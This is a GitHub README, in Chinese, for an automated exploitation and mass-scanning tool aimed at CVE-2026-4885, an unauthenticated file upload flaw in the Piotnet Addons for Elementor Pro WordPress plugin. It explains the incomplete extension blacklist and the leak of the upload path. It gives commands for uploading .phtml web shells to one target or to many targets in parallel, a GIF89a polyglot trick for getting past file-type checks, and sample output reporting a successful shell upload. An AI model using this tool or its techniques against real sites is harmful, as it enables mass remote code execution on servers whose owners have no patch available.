xShadow-Here/CVE-2026-4885
GitHub: xShadow-Here/CVE-2026-4885
针对 WordPress Piotnet Addons for Elementor Pro 插件未授权任意文件上传导致 RCE 漏洞(CVE-2026-4885)的自动化利用与批量检测工具。
Stars: 1 | Forks: 0
# CVE-2026-4885
Piotnet Addons for Elementor Pro <= 7.1.70 - 未授权任意文件上传 → RCE
### 描述 :
WordPress 的 **Piotnet Addons for Elementor Pro** 插件在所有版本(包括 **7.1.70**)的 `pafe_ajax_form_builder` 函数中,由于缺少文件类型验证,存在任意文件上传漏洞。该插件使用了一个**不完整的扩展名黑名单**,仅拦截了 `php`、`phpt`、`php5`、`php7` 和 `exe` 扩展名,却允许 `.phar` 或 `.phtml` 等危险扩展名被自由上传。
这使得**未经身份验证的攻击者**能够在受影响站点的服务器上上传任意 PHP 文件,进而导致**远程代码执行 (RCE)**。
# 信息 : [**CVE-2026-4885**](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/piotnet-addons-for-elementor-pro/piotnet-addons-for-elementor-pro-7170-unauthenticated-arbitrary-file-upload-via-form-file-upload)
~ **CVSS 评分 : 9.8(严重)**
~ **CVSS 向量 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**
~ **受影响版本 : <= 7.1.70**
~ **补丁状态 : 暂无可用补丁**
~ **公开发布日期 : 2026 年 5 月 18 日**
- 研究员 : [**Wannes Verwimp**](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/wannes-verwimp)
- PoC 提供 : **Shadow & Friska** 🩷
### 根本原因 :
`pafe_ajax_form_builder` AJAX handler 在接收文件上传时缺乏适当的验证:
```
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. pass through freely ✓
```
上传路径可通过未授权的 `pafe_export_database` AJAX 动作泄露 → CSV 导出文件中包含完整的文件 URL。
### 用法 :
**交互式菜单(默认) :**
```
python3 shadow.py
```
```
╾──── MENU ────╼
1 ▶ one target
2 ▶ mass scan
3 ▶ exit
[1/2/3] :
```
**单个目标 (CLI) :**
```
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
```
**批量目标 (CLI) :**
```
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
```
**选项 :**
```
-u, --url Target URL
-f, --file File with target URLs (one per line)
-s, --shell Custom PHP shell file (GIF89a auto-prepended)
-t, --threads Concurrent threads for mass mode (default: 5)
-h, --help Show help
```
### 功能 :
- 🩷 完全交互式菜单(单目标 / 批量扫描)
- ⚡ 异步并行侦察 — 并发抓取页面
- 🔍 从页面 HTML 中自动发现 `form_id`、`post_id`、`field_name`
- 🪄 GIF89a 多语魔术字节 — 绕过图片类型检查
- 📡 通过 `pafe_export_database` 泄露 URL(无需身份验证,无需 nonce)
- 🎯 Shell 上传验证(HTTP 200 + PHP 执行检查)
- 💾 自动将结果保存至 `shell.txt`
- 🌐 支持配置线程数 + 异步信号量的批量模式
- ⚠️ 上传提示前显示被拦截扩展名警告
### Shell :
在本地准备好你的 shell 文件(例如 `shadow.phtml`) — 如果缺失,GIF89a 魔术字节将被**自动添加**到文件头。
### 输出 :
```
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Unauthenticated File Upload → RCE ║
║ ║
║ by Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSION ────╼
♡ v7.1.67 <= 7.1.70 — VULNERABLE
╾──── RECON ────╼
◆ scanning 46 pages (parallel)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ using : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ trying .phtml ...
♡ uploaded (.phtml)
♡ URL leak : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL UPLOADED (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
```
### 环境要求 :
```
pip install httpx
```
## 免责声明 :
本工具仅供**教育和授权安全测试目的使用**。
未经授权将其用于您不拥有或未获得明确测试权限的系统是**违法的**。对于因使用本工具而造成的任何滥用或损害,作者概不负责。
标签:CISA项目, Web安全, WordPress, 威胁模拟, 无服务器架构, 蓝队分析, 计算机取证, 运行时操纵, 逆向工具